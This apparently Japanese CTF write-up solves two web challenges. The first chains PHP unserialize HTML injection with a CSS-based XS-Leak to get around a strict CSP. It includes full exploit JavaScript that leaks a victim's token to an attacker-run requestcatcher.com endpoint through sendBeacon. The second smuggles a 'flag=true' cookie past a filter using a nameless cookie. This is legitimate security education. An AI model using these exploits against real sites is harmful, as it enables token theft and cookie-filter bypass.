[web] Yozuri
単純なphpコードで構成されたwebサイトが与えられる。重要なのは以下の部分。
<?php if (isset($_GET["data"])) { $data = $_GET["data"]; if (!is_string($data) | strlen($data) > 4096) { echo "Invalid data."; } else { unserialize($data); } } else { echo "No data provided."; }?> <h3>Token</h3> <?php echo htmlspecialchars($_COOKIE["TOKEN"] ?? "TOKEN_0123456789abcdef"); ?>
任意の入力がunserializeできる。botが別途用意されていて任意のwebサイトにアクセスさせることができるので、<?php echo htmlspecialchars($_COOKIE["TOKEN"] ?? "TOKEN_0123456789abcdef"); ?>のトークンが取得できれば、それを使ってフラグが手に入る。よって、XSSをするような方針で考えることになる。
どこかで見たな... と思って手元のCTFメモ集を漁ると作問者である新月さんのブログが見つかる。unserializeを使ってXSSするテクニックが紹介されていて、今回はこれが使える。
全く同じO:8:"PhpToken":1:{s:28:"<img src=x onerror=alert(1)>";}を使えばHTMLタグが差し込めることが分かる。だが、今回はCaddyで厳格なCSPがかかっているのでXSSを達成することはできない。
cat > /tmp/Caddyfile << EOF
:3000 {
header {
defer
Content-Security-Policy "script-src 'none'; default-src 'self'; base-uri 'none'"
}
reverse_proxy 127.0.0.1:9000 127.0.0.1:9001 127.0.0.1:9002 127.0.0.1:9003 {
replace_status 200
}
}
EOF
これをどうするかが次のステップ。
このwebサイトの構成どこかでみたな...と思って手元のCTFメモ集を漁るとArkさんの似たような状況の記事が見つかる。作問者がこの問題を激オススメしている記憶もあったので、これを組み合わせることで解けた。
詳細はArkさんの記事を見て欲しいが、まとめると、例外出力を悪用することでquirksモードにブラウザを移行させることができ、それによってMIMEタイプのおかしいCSSを読み込むことができ、phpのエラー画面を組み合わせることで任意のCSSを実行させられて、それをいい感じに使って(このパートもだいぶ天才度が高いが)XS-Leakする。
ほとんど上記2つのブログの切り貼りだが、以下のサイトをどこかで立ち上げてbotに踏ませればトークンが手に入り、それを使ってフラグが得られる。
<body> <script type="module"> const BASE_URL = "http://web:3000"; //const BASE_URL = "http://localhost:3000"; const sleep = (ms) => new Promise((resolve) => setTimeout(resolve, ms)); const TOKEN_SIZE = 16; let known = "TOKEN_"; const win = open(""); const CHARS = [..."0123456789abcdef"]; const match = async (pattern) => { console.log(pattern); win.location = "about:blank"; //await sleep(400); const html = `<link href="/not-found.txt?{}div:has(input:valid){display:none}" rel=stylesheet><div><embed code="x" type=text/html><input pattern=".%2b${pattern}.%2b" value="`; const url = `${BASE_URL}/?data=O:8:"PhpToken":1:{s:${html.length-4}:"${html}";}${"&a".repeat(1000)}`; win.location = url; await sleep(300); console.log(win.length); return win.length === 0; // frame counting }; console.log("Start attacking..."); for (let i = 0; i < TOKEN_SIZE; i++) { // binary search let left = 0; let right = CHARS.length; while (right - left > 1) { const mid = (right + left) >> 1; const p = "(" + CHARS.slice(left, mid).join("|") + ")"; if (await match(known + p)) { right = mid; } else { left = mid; } } known += CHARS[right - 1]; navigator.sendBeacon("https://[yours].requestcatcher.com/debug", known); } navigator.sendBeacon("https://[yours].requestcatcher.com/token", known); </script> </body>
[web] Your name
以下のようなCookieを指定して起動するbotが与えられる。
const visit = async (cookie) => { const browser = await puppeteer.launch({ executablePath: "/usr/bin/chromium", args: [ "--no-sandbox", ], }); await browser.setCookie({ domain: "localhost", name: "flag", value: "false", }); let resp; const page = await browser.newPage(); await page.setDefaultTimeout(20000); // for generating document await page.goto("http://localhost:3000/flag"); const whitelist = /^[a-zA-Z0-9=;\/]+$/ const cookies = cookie.split(";"); for (const pair of cookies) { if (!whitelist.test(pair)) { return "invalid cookie detected"; } if (pair.startsWith("flag=")) { return "invalid cookie detected"; } } // set cookie await page.evaluate(c => document.cookie = c, cookie); const res = await page.goto("http://localhost:3000/flag"); resp = await res.text(); await page.close(); await browser.close(); return resp; }
botが開くGET /flagは以下のような実装になっている。
app.get("/flag", (req, res) => { const cookieHeader = req.headers.cookie; if (!cookieHeader) { res.send("no cookies :("); return; } for (const cookie of cookieHeader.split(";")) { if (cookie === "flag=true") { res.send(process.env.GZCTF_FLAG); return; } } res.send("no flag for you"); });
flag=trueであればフラグがもらえるが、bot呼び出し側でflag=から始まるCookieを弾いている。結論から書くと=flag=true;path=/flagでフラグがもらえる。
これはnameless cookieと呼ばれるもので、keyが無しで、値がflag=trueになっている。100%理解正しいか自信が無いが、名前が空の場合は=を付けず送信され(多分ここ)、サーバからはflag=trueと認識され、重複キーのCookieを送ることができる。あとは、pathを付けて優先順位をいい感じに調整して、最終的にこの形になる。